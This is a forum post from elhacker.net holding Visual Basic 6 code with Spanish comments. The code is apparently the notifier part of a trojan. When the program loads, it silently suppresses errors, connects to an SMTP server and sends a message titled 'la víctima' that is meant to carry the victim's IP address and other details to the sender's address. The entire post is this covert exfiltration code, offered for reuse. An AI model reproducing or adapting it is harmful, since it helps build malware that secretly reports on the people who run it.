Foro de elhacker.net

Private Sub Form_Load()
On Error Resume Next ' Detector de Errores Activado
 If Sock1.State <> 0 Then ' Si tiene una conexion abierta
  Sock1.Close ' Cerrar la conexion
 End If
Sock1.RemoteHost = "mx2.hotmail.com" ' Le digo cual es el Servidor de SMTP, por razones que desconozco este server ya no funciona
 Sock1.RemotePort = 25 ' El puerto a donde conectarse (SMTP)
Sock1.Connect ' Intenta la conexion...
 Enter = Chr(13) + Chr(10) ' Inicializo la variable global Enter
End Sub

Private Sub Sock1_Connect()
 On Error Resume Next ' Detector de Errores Activado
 Sock1.Tag = 1 ' Pongo que voy en el paso 1
 Sock1.SendData "HELO " & "reydelmundo11" & Enter ' Le envio un comando al Servidor y 1 Enter
End Sub

Private Sub Sock1_DataArrival(ByVal bytesTotal As Long)
 On Error Resume Next ' Detector de Errores Activado
 Sock1.GetData Datos, vbString ' Recibir en Datos

 
 If Mid(Datos, 1, 9) = "550 Relay" Then ' Revisar si permite Relay
'el servidor no deja mandar los datos sin cuenta de correo en ese caso desconectamos
  Sock1.Close ' Cerrar conexion
  Sock1.Tag = 0 ' Digo que ya se acabo
 End If
 
 If Sock1.Tag = 1 Then ' Si voy en el paso 1
  Sock1.SendData "RSET" & Enter ' Le envio RSET
  Sock1.Tag = 2 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 2 Then ' Si voy en el paso 2
  Sock1.SendData "MAIL FROM: <" & MiMail & ">" & Enter ' Le envio MiMail mi mail es una varible asegurate de tenerla definida 
  Sock1.Tag = 3 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 3 Then ' Si voy en el paso 3
  Sock1.SendData "RCPT TO: <" & ParaMail & ">" & Enter ' Le envio ParaMail  También es otra varialbe
  If CCMail <> "-" Then ' Si tiene para un Mail CC (con copia, creo)
   Sock1.SendData "RCPT TO: <" & CCMail & ">" & Enter ' Le envio CCMail  también es otra es para enviarlo a mas gente
  End If
  Sock1.Tag = 4 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 4 Then ' Si voy en el paso 4
  Sock1.SendData "DATA" & Enter ' Aqui le envio DATA (Empieza el mail)
  Sock1.Tag = 5 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 5 Then ' Si voy en el paso 5
  Sock1.SendData "To: " & ParaMail & Enter ' Le envio para quien va la variable otra vez
 Sock1.SendData "From: " & "reydelmundo11" & " <" & MiMail & ">" & Enter ' El Nombre reydelmundo11 y MiMail
  Sock1.SendData "Subject: " & "la víctima" & Enter ' El Subject (Titulo)
  Sock1.SendData Enter ' Un Enter indica que empieza el Mensaje
  Sock1.SendData "Aqui vendría la ip y todo eso" & Enter ' Le envio el Mensaje
Sock1.SendData "." & Enter ' Esto indica fin del mail
  Sock1.Tag = 6 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 6 Then ' Si voy en el paso 6
  Sock1.SendData "QUIT" & Enter ' Le indico que cierre la conexion
  Sock1.Tag = 7 ' Digo que voy al ultimo paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 7 Then ' Si voy en el paso 6
  Sock1.Tag = 0 ' Digo que ya se acabo
  Sock1.Close ' Cierro la conexion
'ya lo hemos enviado

  GoTo bien ' Ir al final
 End If
bien:

End Sub